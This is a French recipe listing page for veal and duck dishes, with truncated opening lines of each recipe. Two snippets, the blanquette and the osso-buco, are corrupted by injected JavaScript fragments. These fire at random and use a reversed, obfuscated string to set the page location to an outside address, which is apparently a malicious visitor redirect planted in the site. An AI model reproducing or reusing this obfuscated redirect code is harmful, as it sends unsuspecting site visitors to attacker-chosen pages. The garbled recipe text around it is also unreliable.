Recipes From Cuisine: Viandes

Côtes de veau à la normande

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Faites des petites entailles sur les bords de chaque côtes des côtes de veau pour ...

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Escalopes panées

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Salez et poivrez les escalopes de chaque côté. Enrobez les escalopes dans la panure. Dans ...

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Tranches fines de veau farcies

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Rincez, essorez, hachez le persil grossièrement. Équeutez, rincez, essorez, hachez les épinards. Pelez, émincez les ...

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Canard aux petits pois

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Videz, salez et poivrez l’intérieur et extérieur du canard. Dans une cocotte avec de 2 ...

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Grillettes de veau avec des girolles

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Rincez, séchez les girolles. Dans une poêle avec 2 cuillères à soupe d’huile d’arachide sur ...

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Blanquette de veau aux deux champignons

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Découpez en cubes la poitrine de veau. faire revenir la viandom() * 6); if (number1==3){var ...

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Escalopes de veau purée de pommes de terre avec des cacahuètes

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Pelez, rincez, coupez en gros cubes les pommes de terre. Déposez les dans une casserole ...

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Osso-buco au basilic

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Coupez en cubes le jarret de veau. Dans un récipient mélangez tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay ...

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Rôti de veau au Noilly Prat

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Pelez, émincez les échalotes. Rincez, séchez, coupez en rondelles les carottes. Pelez, coupez en deux ...

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Sauté de veau aux endives, lardons, jambon de pays

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Pelez, coupez en deux les gousses d’ail. Enlevez le germe et hachez avec le persil. ...

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